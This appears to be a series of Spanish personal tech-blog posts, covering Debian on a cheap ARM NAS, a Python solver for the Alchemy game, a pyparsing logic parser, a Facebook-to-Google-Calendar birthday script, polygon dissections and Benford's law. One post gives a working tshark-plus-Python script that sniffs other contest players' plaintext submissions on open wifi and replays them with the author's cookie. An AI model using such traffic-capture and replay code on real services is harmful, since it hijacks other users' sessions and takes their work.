El primer paso de este proceso ocurrió en forma de weekend project y consiste en hacerme de un “servidor”. Las comillas hacen referencia a que no se trata de un gran server sino un procesador ARM de 200Mhz y 32MB de RAM, lo que es suficiente para que corra Debian y algunos otros servicios que pueden ser interesantes.

Los ingredientes

• Un all-in-one LAN server que es la forma en que DealExtreme llama a unos dispositivos con chips de la familia str8132. Dado que vamos a instalar snake-os en ellos (en este caso se trata de la versión 1.3.2-20111019), es importante chequear la lista de compatibilidad. En particular me hice de un NS-K330 por 40 dólares.
  
• Storage USB, puede ser en la forma de stick o como disco portable.
• Un RS232 to TTL level converter, también conocido como cable para Nokia N1200/1208/1650/2630/2670. Es para conectarse por serie a la consola. No lo necesitamos ahora mismo, pero está bueno tenerlo a mano en caso de brickearlo, aunque es un procedimiento que no explicaré esta vez.

Instalación de Snake-OS

Es realmente sencillo. Lo primero es bajar snake-os, desde la sección de downloads de la web. Es importante que el archivo sea de la forma snakeos-<versión>-from-original.zip Instalar el que dice from-snake lleva definitivamente al brickearlo y recuperarlo puede ser complejo.
Desde la página de administración del dispositivo hay que subir el archivo snakeos-<versión>-from-original.bin contenido en el zip bajado. Confirmar el md5sum no está de más.

Acceso inicial

Los datos para acceder a la nueva interfaz con el browser:

http://192.168.0.240 (si es que no hay un DHCP en la red)
usuario: admin
contraseña: snake

Por SSH la contraseña de root la misma y, al cambiarla por la página de administración, se cambia en todos los accesos.

Post instalación

Incluso cuando Max opine que el uso de memoria virtual está rumbo a la extinción (lo cierto es que tal vez no es la mejor idea cuando el storage es de estado sólido como en los pendrives), activé el uso de SWAP desde el menú Service-Swapfile.

Si se quieren las mismas prestaciones que se tenían con el firmware original, hay que instalar unos paquetes adicionales. El sistema de paquetes que utiliza snake-os es opkg y tiene que ser primero activado desde Service-Opkg. Los paquetes pueden bajarse desde la página de download de snake-os y se instalan desde System-Packages. En particular, pueden ser interesantes (siempre pensando en los features originales):
Transmission: Es un cliente de BitTorrent, para dejar tus descargas corriendo. Es bastante mejor que el original.
miniDLNA: Es el server de streaming compatible con DLNA/UPnP-AV. Está un poco verde, pero se está trabajando en su mejora.

Corriendo Debian dentro

Las instrucciones están acá. Aunque esto es lo más obvio y necesario:

wget http://snake-os.googlecode.com/files/debian_chroot.tgz
tar -xvf debian_chroot.tgz
mount -o bind /proc /usb/sda1/debian/proc
mount -o bind /dev /usb/sda1/debian/dev
chroot /usb/sda1/debian/

Esta instalación base requiere unos 200MB. Tiene todo el potencial de un Debian (¡porque lo es!).
Claro que falta ajustar varios detalles, pero será la piedra inicial para el resto.

	Resuelto! Se trata de un afilador de cuchillos.
	Raps Olja significa aceite de canola. Simpática la traducción de Google cuando se lo pone todo junto. ¿Se puede usar como cualquier aceite? ¿Sirve para algo en particular?
	Candelabro de 7 velas. Parece ser algún motivo navideño. Sin embargo puede verse en uso en Agosto.
	Está en las ventanas. Dando vuelta a la rueda se abre una pequeña hendija en la parte superior.
	cuasi-Resuelto!En la canilla de la cocina esta esta llave de cuarto de vuelta. No parece tener efecto. Me han dicho que es para el lavavajillas (que no tengo). No se los detalles.
	Estos pequeños cubos son parcialmente huecos. El agujero no llega a atravesarlos. Los encontré cerca de la ventana.
	Es un alambre con ventosas en las puntas y unos pequeños brochecitos. Esta en el baño. Puede ser para colgar la ropa, aunque no creo que soporte el peso. ¿Tal vez ropa interior?

Aportes son bienvenidos :)

Cada vez que voy al viejo continente redescubro la tele española. Está llena de programas de humor, muchos de ellos increíblemente graciosos, incluso cuando varias gracias se pierden por no ser local. La última vez que estuve ahí no fue la excepción. Santiago me habló de un programa llamado Ciudad K (sin relación con los K de acá).

Ciudad K es un ya finalizado show de 14 capítulos, dirigido por el genial José Antonio Pérez, que fusiona el humor y el geekismo de forma épica. En esta hipotética ciudad, los habitantes tiene un nivel cultural e intelectual sobresaliente y las situaciones son de lo más bizarras. Todos los capítulos se encuentran en línea y son altamente recomendables.

Les hablé de esta serie a muchos conocidos freaks/nerds/geeks, y con ellos solemos comentar algunos gags que allí aparecen. Así fue como hemos notamos que ninguno de nosotros entendía todos los chistes, dado que abarcan un amplio espectro entre física, tecnología, economía, cine, artes plásticas, psicología y otras ramas de la cultura y la ciencia. De hecho, rápidamente descubrimos que conversar sobre Ciudad K era una muy divertida forma de aprender nuevas cosas, especialmente en las áreas en las que uno es un completo ignorante.

Así fue como levanté www.ciudadkexplicado.com.ar, un espacio en donde espero que se pueda conversar sobre los temas que se tocaron en la serie mientras se aprenden cosas nuevas y posiblemente inútiles.

Este viejo procrastination project lo tenía pendiente desde hacía meses y lo que se ve (así de feo) es el resultado de un arrebato de aburrimiento y de las ganas de saber que tan lejos se puede llegar con Google Sites. Pasé por varios vericuetos técnicos que, supongo, explicaré en otro post.

PD: Lo lamento José, soy un tío :P

Primero un poco de contexto. La semana pasada conocí, a través de Microsiervos, un juego llamado Alchemy. Consiste en combinar los cuatro elementos clásicos griegos (tierra, agua, fuego y aire) para generar nuevos elementos y a su vez, otros con estos.

Se los comenté a varios conocidos y se engancharon. El tope (al menos de momento) es 200 elementos y, como se trata de un juego muy divertido y adictivo, en un tiempo razonable se puede superar los 100. Los elementos son cada vez más complejos, incluso uno se empieza a obsesionar con la idea de crear human :P

El problema llega cuando uno se estanca y la tentación de hacer trampa se hace inevitable.

Atención: a partir de este momento el post es una especie de spoiler en donde se explica cómo llegar al final del juego sin jugarlo. Si estás jugándolo y lo disfrutas, deja de leer inmediatamente.

Con mirar rápidamente el código de la página, uno puede descubrir cómo funciona. Parece haber un archivo en donde se definen las relaciones de los elementos por un número identificador y otro donde está se mapean estos identificadores a nombres. El siguiente script me ayudó a organizar la información muy rápidamente:

alchemy.py

#!/usr/bin/python
import urllib
from xml.dom import minidom
from optparse import OptionParser,OptionValueError
library_xml = urllib.urlopen("http://alchemy.l8r.pl/library.xml")
relations = minidom.parse(library_xml).documentElement.getElementsByTagName('entry')
name_xml = urllib.urlopen("http://alchemy.l8r.pl/en_us.xml")
names = minidom.parse(name_xml).documentElement.getElementsByTagName('library')[0].getElementsByTagName('entry')
elementsID=dict()
elementsNAME=dict()
class Element():
    def __init__(self,id,name):
        self.id=int(id)
        self.name=str(name)
        self.compoundBy=[]
        self.compose=[]
    def AddCompoundBy(self,components):
        components.getElementsByTagName('parent')
        compoundBy=[(int(i.getAttribute('id'))) for i in components.getElementsByTagName('parent')]
        self.compoundBy.append(compoundBy)
        return compoundBy
    def __str__(self):
        return "%s (%i)" % (self.name,self.id)
for name in names:
    id_=name.getAttribute('id')
    name_=name._get_childNodes()[0].data
    element_=Element(id_,name_)
    elementsID[int(id_)]=element_
    elementsNAME[str(name_)]=element_
for rel in relations:
    element=elementsID[int(rel.getAttribute('id'))]
    for parent in rel.getElementsByTagName('parents'):
        childs=element.AddCompoundBy(parent)
        elementsID[childs[0]].compose.append([element.id,elementsID[childs[1]].id])
        if childs[0]!=childs[1]:
            elementsID[childs[1]].compose.append([element.id,elementsID[childs[0]].id])
def default(parser):
    if len(parser.rargs) == 0 or "all" in parser.rargs:
        elements = elementsNAME.keys()
    else:
        elements = parser.rargs
    return elements
def forWhat(option, opt_str, value, parser):
    elements = default(parser)
    for element_ in elements:
        try:
            element=elementsNAME[element_]
            for compose in element.compose:
                print "%s = %s + %s" % (elementsID[compose[0]].name,elementsID[compose[1]].name,element.name)
        except:
            raise OptionValueError('element error: %s does not exist' % (element_,))
def how(option, opt_str, value, parser):
    if len(parser.rargs) == 0 or "all" in parser.rargs:
        elements = elementsNAME.keys()
    else:
        elements=parser.rargs
    for element_ in elements:
        try:
            element=elementsNAME[element_]
            for formula in element.compoundBy:
                print "%s = %s + %s" % (element.name, elementsID[formula[0]].name, elementsID[formula[1]].name)
        except:
            raise OptionValueError('element error: %s does not exist' % (element_,))
def myaddition(a,b,c):
    ret=set()
    # a = b + c
    addition="%s%s%s" % (a,b,c)
    ret.add("\"%s\" [shape=point,style=filled,label=\"\",height=.1,width=.1]" % (addition,))
    ret.add("\"%s\"->\"%s\" [weight=1];\"%s\"->\"%s\" [weight=1];\"%s\"->\"%s\" [weight=2]" % (b, addition,c,addition,addition,a))
    return ret
def graph(option, opt_str, value, parser):
    elements = default(parser)
    ret='''digraph G {
        overlap=scale
        splines=true
        rankdir=TB\n'''
    connections=set()
    for element_ in elements:
        element=elementsNAME[element_]
        try:
            for formula in element.compoundBy:
                a=element.name
                b=elementsID[formula[0]].name
                c=elementsID[formula[1]].name
                connections|=myaddition(a,b,c)
            for compose in element.compose:
                a=elementsID[compose[0]].name
                b=element.name
                c=elementsID[compose[1]].name
                connections|=myaddition(a,b,c)
        except:
            raise OptionValueError('element error: %s does not exist' % (element_,))
    for conn in  connections:
        ret+=conn+';\n'
    ret+='}'
    print ret
parser = OptionParser("usage: %prog [options] [ELEMENTS|all]")
parser.add_option("-g", "--how", action="callback", callback=how, dest="how", help="how can I get ELEMENT", default=False)
parser.add_option("-f", "--forWhat", action="callback", callback=forWhat, dest="forWhat", help="for what elements can ELEMENT be used", default=False)
parser.add_option("-c", "--graph", action="callback", callback=graph, dest="graph",   help="graph the parents/childs from/to ELEMENT", default=False)
(options, args) = parser.parse_args()

Así, si quiero saber cómo obtener el elemento egg:

$ ./alchemy.py -g egg
egg = life + stone
egg = bird + bird
egg = turtle + turtle
egg = lizard + lizard

Si quiero saber para que me pueden servir los elemetos dough y sea:
$ ./alchemy.py -f dough sea
bread = fire + dough
cookie = fruit + dough
ocean = water + sea
seaweed = plant + sea
beach = sand + sea
wave = wind + sea
tides = moon + sea
seasickness = sickness + sea
algae = plant + sea
horizon = sky + sea

Para obtener todas las combinaciones:
$ ./alchemy.py -g all
que da este listado. Me pareció interesante hacer algunos grafos con estos datos. Así se puede ver la sección local de light bulb:
./alchemy.py -c "light bulb" | dot -Tpng > light_bulb.png ; display light_bulb.png

Claro que también se puede hacer el grafo completo (si se tiene memoria y tiempo):
$ ./alchemy.py -c all | neato -Tpng > all.png ; display all.png
Así se genera una imagen enorme de la que se puede ver un fragmento a continuación (click acá para verla completa, son 13MB 12027x 13593).

Fue divertido, incluso cuando evidentemente no fui el primero en notar esto y basta con googlear un poco para conocer las soluciones. En lo personal, consideré parte del juego escribir el código que lo resuelve y lo usé de excusa para hacer algo con optparse, que lo tenía pendiente.

Primero, la teoría. Dado el alfabeto , es el conjunto de palabras que pueden formarse combinando sus elementos.

Existe un tipo particular de palabras, a las que llamamos variables.

Es un conjunto infinito y, dado que puede ser tedioso contar la cantidad de primas, las variables pueden ser referenciadas como , donde n es la cantidad de primas. Así, parece razonable pensar que no todas las palabras son válidas a la hora de escribir una fórmula (que es como llamaremos a las palabras válidas).

Ejemplos de fórmulas:

Ejemplos de no-fórmulas (palabras que no forman una fórmula):

Si bien es más o menos intuitivo qué es una fórmula y qué no, es necesario definirlo en un sentido formal. Así y es el conjunto de las palabras que cumplen:

1. si y , entonces
2. si , entonces
3. si , entonces . Donde

Nada más es una fórmula.

Ahora, a la práctica. Queremos escribir un parser que, dada una palabra, reconozca si es una fórmula. Y para esto vamos a jugar con el módulo pyparsing, para python.

Lo primero es definir el conjunto de variables.

>>> from pyparsing import Word
>>> variable=Word('Pp',"0123456789'")
>>> variable.parseString('p1')
(['p1'], {})
>>> variable.parseString("P'")
(["P'"], {})

Así, variable reconoce los posibles nombres de variables. Toda expresión que sea parseable por variable, es una formula. Para el punto ii. hay que definir una estructura recursiva. Utilizaremos el bang (!) para la negación.
from pyparsing import Forward
formula=Forward()
ii='!' + formula

Caso similar en el punto iii.. Para esto hay que definir los operadores, que son and (&), or (|) y then (<).

operador=Word('&|>',max=1)
iii='('+formula+operador+formula+')'
Por último, definimos una fórmula cómo una variable (i.) o una negación de una fórmula (ii.) o una operación entre fórmulas (iii.).

formula << ( variable | ii | iii )

Y esto es, básicamente, nuestro parser:

>>> formula.parseString("(p1 | p4)")
(['(', 'p1', '|', 'p4', ')'], {})

Lo dicho, con un poco más de contexto y en un único archivo, a continuación:

logicparser.py

from pyparsing import Forward, Word
import sys 
expression=sys.argv[1]
variable=Word('Pp',"0123456789'")
operador=Word('&|>',max=1)
formula=Forward()
ii='!' + formula
iii='('+formula+operador+formula+')'
formula << ( variable | ii | iii )
print expression," - es formula? ",
try:
    palabras = formula.parseString(expression.strip(),parseAll=True)
    print "TRUE",
    print palabras
except:
    print "FALSE"

Pero este post tiene otro objetivo que contar lo lindo que fue. Así que si esperabas algo blando, puedes dejar de leer acá :P (las fotos estarán online en breve). Lo que sigue es la respuesta larga a la pregunta que me realizaron varias veces en los últimos días: ¿Estas jugando al h4ckc0nt3st?. La respuesta corta era sí, lo estoy haciendo en este exacto momento, aunque no de la forma tradicional.

El contexto

Durante la conferencia, Miguel organizó un muy divertido hack contest. El objetivo era llegar a una respuesta a través de la resolución de diferentes desafíos. Dicha respuesta se metía en un formulario web (que escuchaba en http://10.20.63.1:666) y de esta forma se acumulaban puntos.

El hack

Dado que la red sobre la que se hacía el concurso era una wifi abierta y que el servidor recibía las respuestas de los participantes en texto plano (no usaba SSL), pensé que sería divertido escuchar las respuestas de los demás concursantes. El paso siguiente de enviar dichas respuestas a mi nombre resultó inevitable. De esta forma, cada vez que alguien enviaba una posible respuesta a un desafío, yo también respondía lo mismo. Logré automatizar ello con las siguientes líneas:

tshark -T fields -e data -i mon0 -R 'ip.dst == 10.20.63.1 and tcp.dstport == 666 and ip.src != mi.propia.ip ' | ./loro.py
Donde loro.py este archivo:

loro.py

#!/usr/bin/python
import sys
import binascii
import socket
for line in sys.stdin:
    todecode=line.strip()
    decode=binascii.a2b_hex(todecode)
    if 'acceder' in decode or 'enviar' in decode :
        datas=decode.split('\n')
        if 'desafio' in datas[0]:
            for i,j in enumerate(datas):
                if 'Cookie' in j: datas[i]='Cookie: HCWSSESSID="your cookie goes here"'
            tosend='\n'.join(datas)
            sys.stderr.write(tosend)
            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            s.connect(('10.20.63.1', 666))
            s.send(tosend)
            s.close()
            print '-'*30

La explicación

Tshark es la versión de consola de wireshark. Este toma los paquetes de una interfaz en modo monitor (lee esto para aprender cómo). El modificador -f es el encargado de darme solo aquellos paquetes que vayan al servidor. Excluir del filtro a mi propia IP evita que el sniffer vea mis replayes y entre en loop (tardé en darme cuenta de esto, perdona Miguel por floodear tus logs). El script loro.py recibe el campo data de los por stdin (línea (#) 5), lo decodifica en ascii (#7), y chequea si es una respuesta (#8). Después lo divide y busca la cookie (# 9 a 11). Al encontrarla, la reemplaza por mi propia cookie (#12, fue una suerte práctica que no caducara). Luego vuelve a juntar todo (#13), lo imprime en stderr (#14, con fines de logging, nada más) y lo envía de nuevo al server (# 15 a 18).

Como dicen por acá, ¡a que mola!

• No hay forma de exportar solo un subconjunto de las fechas
• Con los cambios de DST, hay eventos que duran dos días
• Los eventos no son de días completos, sino que van de 12am a 12am
• No quedan como eventos editables normales

Los eventos se ven algo así:

Y la verdad que están horribles. Así que realicé estos 5 sencillos pasos:

Paso 1

Fui a los eventos de cumpleaños en mi perfil, donde puse exportar cumpleaños.

Así, facebook me proveyó una URL, que empieza con webcal://

Paso 2

Esta URL, reemplazando webcal por http, la utilicé para obtener los eventos, en formato CSV:
wget "http://www.facebook.com/ical/b.php?uid=2XXXXXX4&key=3XXXXXXX8" -O facebook.csv

Paso 3 (opcional)

Dada mi política de aceptar-todo-contacto en Facebook hay muchos eventos que no quisiera incluir en mi calendario. Por lo que generé una lista de los que sí quiero tener:
rgrep "^SUMMARY" facebook.csv > lista.txt
Y después borré de lista.txt aquellos que quería excluir.

Paso 4

Escribí el siguiente script:

fb2gc.py

#!/usr/bin/python
import datetime
import sys
print '''BEGIN:VCALENDAR
PRODID:localscript
VERSION:2.0
CALSCALE:GREGORIAN
METHOD:PUBLISH
X-WR-CALNAME:
X-WR-TIMEZONE:America/Argentina/Buenos_Aires
X-WR-CALDESC:
BEGIN:VTIMEZONE
TZID:America/Argentina/Buenos_Aires
X-LIC-LOCATION:America/Argentina/Buenos_Aires
BEGIN:STANDARD
TZOFFSETFROM:-0300
TZOFFSETTO:-0300
TZNAME:ART
DTSTART:19700101T000000
END:STANDARD
END:VTIMEZONE'''
day=datetime.timedelta(1)
fd = open( sys.argv[1] )
try:
    mylist=open( sys.argv[2] ).readlines()
    nolist=False
except:
    nolist=True
va = False
person=""
for line in fd.readlines():
    if 'BEGIN:VEVENT' in line:
        person='BEGIN:VEVENT\n'
    elif 'DTSTART' in line:
        dateS=line.split(':')[1].split('T')[0]
        date=datetime.date(int(dateS[0:4]),int(dateS[4:6]),int(dateS[6:8]))
        tomorrow=date+day
        person+='DESCRIPTION:Imported from Facebook\nSTATUS:CONFIRMED\nDTSTART;VALUE=DATE:%s\nDTEND;VALUE=DATE:%s\nTRANSP:TRANSPARENT\n' % (date.strftime("%Y%m%d"),tomorrow.strftime("%Y%m%d"))
    elif 'END:VEVENT' in line:
        person+='END:VEVENT\n'
        if va:
            print person,
    elif 'SUMMARY' in line:
        person+=line
        va=nolist or line in mylist
    elif 'DURATION' in line:
        pass
    else:
        person+=line
print 'END:VCALENDAR'

Paso 5

El archivo generado se pueden importar en Google Calendar, en un calendario existente.


Y ahora, tengo agendados los cumpleaños de forma mucho más agradable.

Thanks a lot to Bartu and Rezlaj, who carried out the necessary seance that make this possible.

The complete photo set is here. If you do not have the slightest idea of what I’m talking about, take a look to Wikipedia or my previous post (Spanish only).

(esta entrada también está disponible en Español)

Muchísimas gracias a Bartu y a Rezlaj, quienes llevaron a cabo la sesión de espiritismo necesaria para hacer esto posible.

Todas las fotos están disponibles aquí. Si no tienes la menor idea de a qué se refiere esto, échale un ojo a la Wikipedia (solo en inglés) o a mi entrada anterior.

(this post is available in English too)

Empezando por el principio, ¿qué es un polígono? En términos wikipediables:

un polígono es una figura geométrica formada por segmentos consecutivos no alineados, llamados lados.

Nos gusta que los segmentos no estén alineados, porque así forman ángulos, que es parte de la definición etimológica. Por otro lado, el hecho de que los segmentos sean consecutivos, garantiza que la figura quede cerrada. En particular, nos vamos a centrar en polígonos que sean:

• planos. Es decir, bidimensionales, de lo que se pueden dibujar en un papel.
• simples. Es decir, que sus lados no se corten entre sí.
• convexos. Es decir, si al atravesarlo con cualquier recta lo corta en no más de dos puntos.
• con hasta un máximo de 4 lados. Es decir, triángulos y cuadriláteros

En definitiva, vamos a referirnos a figuras sencillas donde algunas regularidades nos sean agradables, como el hecho de que los lados sean del mismo tamaño o que tenga algunos ángulos iguales.

Una vez acotado el universo de polígonos vayamos a la siguiente parte del asunto: la disección. Esta idea es bastante intuitiva. El objetivo es tomar un polígono y subdividirlo en otros. A estos otros los vamos a llamar elementos, dado que forman y son parte del polígono grande inicial. La cantidad de elementos es el orden de la disección. Un factor interesante que vamos a agregar a esta definición informal es que los elementos solo pueden variar en su proporción u orientación, por ejemplo que sean todos cuadrados o todos triángulos rectángulos, pero no mezclados.

Vamos a por un ejemplo inicial sencillo. Si tomamos un cuadrado, podemos dividirlo en cuatro triángulos isósceles rectángulos del mismo tamaño, como en la figura de la derecha . Así tenemos un polígono interesante (el cuadrado) que puede ser dividido en cuatro polígonos interesantes (los triángulos rectángulos isósceles). Sin un gran esfuerzo de imaginación, también podríamos dividir un cuadrado en 4 cuadrados (pero es una imagen que evitaremos, que me hace acordar a una empresa monopolizadora).

Así obtenemos disecciones de polígonos, que a primera vista, no parecen ninguna genialidad. Sin embargo, algunas ideas interesantes empiezan a surgir. Por ejemplo, dado que tanto el contenedor como los elementos son interesantes, la noción recursiva aflora. Otros conceptos llamativos, como el de teselado regular, temas de empaquetamiento o el problema de Mrs. Perkins’s Quilt pueden desprenderse desde este punto.

Nosotros vamos a tomar otro camino al agregar el último ingrediente de esta receta: la disección perfecta, que pide que los elementos sean todos de distinto tamaño. Acá se pone más interesante y mucho menos obvio. Volvamos a nuestro ejemplo de dividir un cuadrado en triángulos rectángulos isósceles, pero esta vez hagamos una disección perfecta. A continuación, la propuesta de Arthur Stone:

El número es el largo del cateto de triángulo. Estamos entrando en un terreno donde ahora las cosas son difíciles de imaginar a primera vista. Uno podría empezar a preguntarse en cuántas formas distintas se pueden hacer estas disecciones, si es que hay mas de una. Y si hubiese, cómo se pueden construir. En un interesante y largo paper de 1999, Skinner II et. al. proponen una analogía con la primera ley de Kirchhoff (si, esa sobre los nodos de los circuitos eléctricos) para ayudar a la construcción de disecciones perfectas de cuadrados. Este método genera disecciones a triángulos rectángulos isósceles que cortan la diagonal principal de cuadrado que los contiene (lo que permite generar disecciones simples, explicadas más adelante). Como en el siguiente ejemplo extraído de la página 33 del paper:

La siguiente pregunta es si existen disecciones perfectas en otras formas interesantes. Por ejemplo, Brooks et. al. demostraron que no es posible dividir un triángulo equilátero en triángulos equiláteros de forma perfecta. En ese mismo trabajo de 1940 se señala que, a diferencia de la perfectibilidad, era posible hacer una disección de equiláteros en equiláteros que fuese simple.

Se dice que una disección es simple cuando ningún subconjunto de 2 o más elementos forma una figura de las informalmente definidas como interesante. Por ejemplo, en el caso de la distribución propuesta por Stone que ya mencionamos, el subconjunto de elementos pintado con verde forma un triángulo rectángulo isósceles:

Una disección puede ser simple y no perfecta, o viceversa. Así, y como venía diciendo, Brooks et. al. dicen que es posible dividir un triángulo equilátero en triángulos equiláteros de forma simple, aunque imperfecta. Dicha forma fue presentada por William Tutte, un famoso criptoanalista británico, y es así:

Esta disección en 21 cuadrados desiguales que no forman subconjuntos de cuadrados es lo que se conoce como la disección de Duijvestijn, y se pueden comprar remeras con su estampa. Si bien Duijvestijn ya había descubierto disecciones perfectas simples del cuadrado de ordenes superiores, había probado, junto a Bouwkamp, que no era posible crear estas disecciones en órdenes menores a 20. De ahí el esfuerzo por encontrar la más pequeña de las posibilidades.

Espero no haberlos aburrido en demasía. Para mí fue muy entretenido y aprendí muchísimo sobre álgebra y geometría, así como formas de representación imaginativas de conceptos geométricos que permiten razonar de forma algorítmica. Si quieren aprender más sobre los temas tratados en esta entrada, pueden consultar la página Squaring.net que está totalmente dedicada a este tipo de puzzles e incluye biografía de las personalidades referentes del área, así como otros temas relacionados. Este post está fuertemente basado en esta web. El artículo de Wolfram MathWorld al respecto también es muy entretenido. Se puede chusmear la página de wikipedia sobre el problema de Squaring the square para una idea más breve de la representación de Smith.

Pero hablar es gratis, así que decidí ir a los papeles y a las pruebas concretas, para lo que, evidentemente, era necesario un termómetro. Fue así como encontré la excusa para hacerme de uno, tal como se puede ver:

Ahora puedo saber que dentro de la caja la temperatura ronda los 48ºC, aunque tiene picos de 50ºC cuando hace calor en el living. En lo personal, era más o menos lo que calculaba. El sensor lo fijé a la tapa superior, con lo que voy a suponer que es el lugar más caliente de la caja (aunque tal vez lo sea entre los transformadores, no se…).

Con la intensión de ver que tan grave puede ser esto para los equipos en su interior, me puse a recolectar las especificaciones de la parte electrónica (¿debería preocuparme también por las condiciones en la que trabajan los transformadores?). Aquí, la lista de dispositivos con el rango de temperatura operativo y links a las fuentes:

• Access Point D-Link DWL-800AP+: de 0º a 55ºC
• Router+switch Linksys BEFSX41: de 0ºC a 40ºC
• Cable Modem Scientific Atlanta DPC2100: de 0ºC a 40ºC
• SIP terminal Grandstream HandyTone 486: de 0ºC a 40ºC

Para mi sorpresa (es que claramente soy un ignorante) 3 de los 4 aparatos tienen temperaturas máximas de operación de 40ºC, ~10ºC menos de lo que se respira por esos lares.

Evidentemente, estimados comentaristas, tenían razón. Es que soy un cabeza dura, ya lo saben. El hecho es que tal vez sí debería preocuparme un poco más por bajar la temperatura de ese cajón si es que quiero que mi pequeña red siga funcionando.

update 16 Jan 2010 12:01:10 -0300: Finalmente le puse un ventilador que expulse aire en la tapa (no solo fue la sugerencia de muchos, también era el único lugar donde cabía). Uno de fuente de PC, brushless.

En el mismo lugar de medición, en el que antes tenía 48ºC ahora tengo entre 37ºC y 38ºC, lo cual es buenísimo. Un amigo me sugirió que mida entre los dispositivos. Ahí la historia cambia: 43ºC (no tengo idea de cual era antes en esta ubicación). Tal vez pueda hacer un sistema de tuberías para hacer correr aire entre ellos.

So, I decide to boxing them. All you need is a big tupperware and few rubber bands. Here is the process to build it:

El borroneo sobre el nombre tiene como fin no darte el dato directamente, una situación parecida a la ocurrida acá. Ya sé que lo podés conseguir, bien por ti.

Privacy at Facebook is heavy-duty. As a big fan of the Worlds Collide Theory I hate be tagged compulsively. I would like to select in which photos appear in my profile and feed. Since I couldn’t find that option in the setting menu, I looked for the answer in my favorite scripting language: Python.

This 60-lines-long script removes your tag from the latests photos where you has been labelled. You can download it from here. You may run it hourly (or every 15 minutes, or every 5 minutes, depends how paranoid you are) via cron or whatever.

Any improvement is welcome. It probably runs on Windows too. If you managed to do it, leave a comment for the others.

NEW VERSION! (available here).

La privacidad en Facebook es un asunto complejo. Como gran suscriptor a la Teoría de Colisión de Mundos es que odio ser etiquetado en fotos de forma compulsiva. Me gustaría tener alguna forma de elegir en que fotos aparezco en mi perfil y actualizaciones. Dado que no pude encontrar tal opción entre la configuración, busqué la respuesta en mi lenguaje de scripting favorito: Python.

Este script de 60 lineas remueve tu etiqueta de las últimas fotos donde te hayan tagueado. Puede ser descargado desde aquí. Hay que correrlo cada hora (o cada 15 minutos, o cada 5, dependiendo de que tan paranoico seas) a través de cron o como sea.

Cualquier mejora es bienvenida. Posiblemente también corra en Windows. Si lograste hacer esto, deja un comentario que pueda serle útil a otros.

¡NUEVA VERSIÓN! (disponible aquí).

Para los que no hicieron click en el link anterior y dado que la entrada en la Wikipedia en español sobre el tema deja bastante que desear (estoy corrigiéndola), acá está mi breve explicación:

La ley de Benford, también conocida como la ley del primer dígito, dice que, en los números que existen en la vida real^TM, la primer cifra tiene muchas más posibilidades de ser 1 que otro valor. Además, según crece este primer dígito, más improbable es que se encuentre en la primera posición.

A por un ejemplo, que seguro es más fácil. Tomemos una tabla con estadísticas cualquiera, como ser el área o población de las provincias argentinas, la capacidad de los estadios del mundo, los muertos por accidentes de tránsito o las estadísticas de visitas en tu blog. Como todo en estadística, mientras más grande la muestra mejor, así que vayan a por tablas realmente grandes.

Intuitivamente, uno podría pensar que, para cualquier número, las posibilidades que empiece con 1 son las mismas que con 9. Es decir, al agarrar una pelota de números cualquiera de la vida real^TM se podría llegar a creer que, si la cantidad es lo suficientemente grande, más o menos 1/9 de la muestra empezarán con 1 (nótese que no tiene sentido que los valores empiezen en 0, por lo que las opciones son 9). Esto es porque creemos que los números que estamos analizando se comportan como si fuesen aleatorios. Si tiramos una moneda al aire una gran cantidad de veces, cerca de la mitad de las oportunidades será seca. Es algo que aprendimos hace mucho y nos parece intutivo que la naturaleza se comporte así. Como si $deity hubiese tirado un dado gigante para decidir el largo de un río, la población de un país o el precio de las acciones en el MERVAL.

Como en mi disco todavía tengo los datos utlizados para el post la chica bajo la curva (dating pool) voy a utilizar la cantidad de casados, por provincia, por edad (puede descargarse desde acá). En mi caso son 30843 regitros. Esta linea de bash cuenta cuantos de los valores empienzan con cada cifra:

$ for i in $(cat provincia_indec.csv | grep años | cut -d ';' -f 4); do echo ${i:0:1}; done | sort | uniq -c
10350 1
5581 2
3550 3
2744 4
2159 5
1903 6
1815 7
1406 8
1335 9
Puede verse que el 33.56% de las cifras empiezan con 1 y que, mientras mayor es el valor del primer dígito, menor es la cantidad de ocurrencias.

En efecto, nuestro nuevo amigo Benford describe este fenómeno y nos dice que, la probabilidad p de que el dígito d aparezca en el primer lugar está dado por la siguiente fórmula:

En el ejemplo anterior, el dígito 1 se encuentra en 10350/30843=0.336 de los casos. Puede verse que la predicción de la fórmula es bastante buena, ya que log₁₀(1+1)=0.301. En la siguiente figura puede verse como se ajusta la fórmula a los datos de la práctica (primer dígito de la cantidad de personas casadas por provincia, por edad según el censo 2001):

De hecho, la misma fórmula puede aplicarse a más de un dígito. Por ejemplo, la probabilidad de que una cifra empiece con 42 (primer dígito 4, segundo 2) es log₁₀(1+1/42)=0.010219. Modificando levemente el script (${i:0:2}) podemos estudiar la cantidad de cifras por la repetición de sus primeros dos números y compararlos con su valor teórico:

Impresionante.. no?

¿Y porqué pasa esto? Ocurre que a las magnitudes del mundo real^TM están distribuidas de forma logarítmica.

Recordemos la fórmula: p_(d)=log₁₀(1+1/d)=log₁₀(d + 1) − log₁₀(d)
Es decir, cuenta cuántos números hay entre d y d+1 dentro de la escala logarítmica.

La mejor explicación que recibí para este fenómeno habla de un cambio de escala. Supongamos por un momento que la distribución de los primeros dígitos de lo largo de los ríos, lo alto de las montañas, lo profundo de los posos es constante. Ahora imaginemos que $deity se levanta una mañana y duplica el tamaño del planeta (o del universo, ustedes elijen). Las medidas que empezaban por 1 hora pasan a empezar por 2 o 3 (160*2=320). Lo que empezaba por 2 ahora lo hace por 4 o por 5 (290*2=580). El 3 se va a 6 o 7 (384*2=768). El 4 a 8 y 9.

¡Pero todos aquellas medidas que empezaban por 5, 6, 7, 8 y 9 ahora empiezan por 1! Si realizamos esta operación varias veces los valores se amontonan rápidamente en los iniciados por 1, generando la escala logarítmica en cuestión. Y acá está el tema. La mayoría de los valores de la vida real^TM son resultados de multiplicaciones.

El siguiente gráfico invita a comparar las superficies rojas (valores que inician con 1) y azules (valores que inician con 8) para estudiar sus probabilidades de ocurrencia en el primer dígito:

Las distribuciones que cubren muchos órdenes de magnitud (que varían mucho entre número y número) cumplen relativamente bien con la ley de Benford. Sin embargo puede no ocurrir así siempre:

